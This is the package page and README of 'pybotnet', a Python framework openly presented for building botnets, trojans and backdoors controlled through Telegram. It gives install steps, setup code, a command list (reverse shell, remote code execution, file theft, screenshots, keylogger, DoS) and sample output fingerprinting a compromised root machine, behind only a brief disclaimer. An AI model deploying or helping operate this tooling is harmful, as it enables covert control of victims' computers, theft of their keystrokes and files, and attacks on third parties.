Package: pybotnet
PyBotNetA Python framework for buildingremote control,botnet,trojanorbackdoorwith Telegram or other control panelsDisclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.Source Code:https://github.com/onionj/pybotnetDocumentation:https://onionj.github.io/pybotnet/ToDo List:https://github.com/users/onionj/projects/1Features:Built in Telegram control pannel and proxy systemBuilt in scripts like:reverse shellput or get filerun python code on target systemsget screenshotkeyloggerdosscheduler...Cross platformAbility to easily add custom scriptsImport external scriptsAbility to add custom control panelAdd remote control to your apps...Install PyBotNetpip3 install pybotnet -U-U: make sure to upgrade framework to latest version.The simplest PyBotNet file could look like this:# in main.pyfrompybotnetimportBotNet,TelegramEnginetelegram_engine=TelegramEngine(token=TELEGRAM_TOKEN,admin_chat_id=ADMIN_CHAT_ID)#(1)botnet=BotNet(telegram_engine)# (2)botnet.run()create engine: Engines transfer messages between admin and botnetcreate BotNet instancenote:TELEGRAM_TOKEN: You can use telegram@botfatherto Create new telegram API Bot and get yourTELEGRAM_TOKENADMIN_CHAT_ID: Get it from @userinfobot telegram botPyBotNet include default scripts, like:/shell,/put_file,/get_file,/screenshot,/who, ...,
you can send/helpto your telegram bot and see more detail..Run code:python3 main.pytelegram engineopen telegram and send/whocommand to your bot; If you have done the steps correctly, you recive a message like this:scripts_name:
    echo
    who
    shell
    screenshot
    put_file
    get_file
    runcode
    openurl
    dos
    schedule

mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: Trueyou can send/helpto see help page, or send/help <script_name>to recive more help about a specific script.for example send/help screenshot, You will receive:NAME:
screenshot

DESCRIPTION:
get screen shot
    * `[mac-address] /screenshot`
    or
    * `/screenshot`

    example command: 
        * `94945035671481 /screenshot`
        * `/screenshot` 

    return: img or img-download-link
    

script_version: 0.0.1
default_script: True

___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: Falsein top of message you see script name, description, syntax, and examples.for run screenshot script you have two choice:Run the script on all clients that are listening to Telegram bot (for now we have one!)Run script on one specific systemfor run script on all client send/screenshot.bot if you need to get screen-shot on a specific system you need to send[mac_addres] /screenshotfor our case:228362405364 /screenshotin some case like/shellyou need to run it just for one system.For see who we canAdd custom scripts,Run in background,Running the pybotnet without coding, and etc, see the below documentation.For more, seeDocumentationContributors ✨Thanks goes to these wonderful people :TorhamDevSepehrRasouli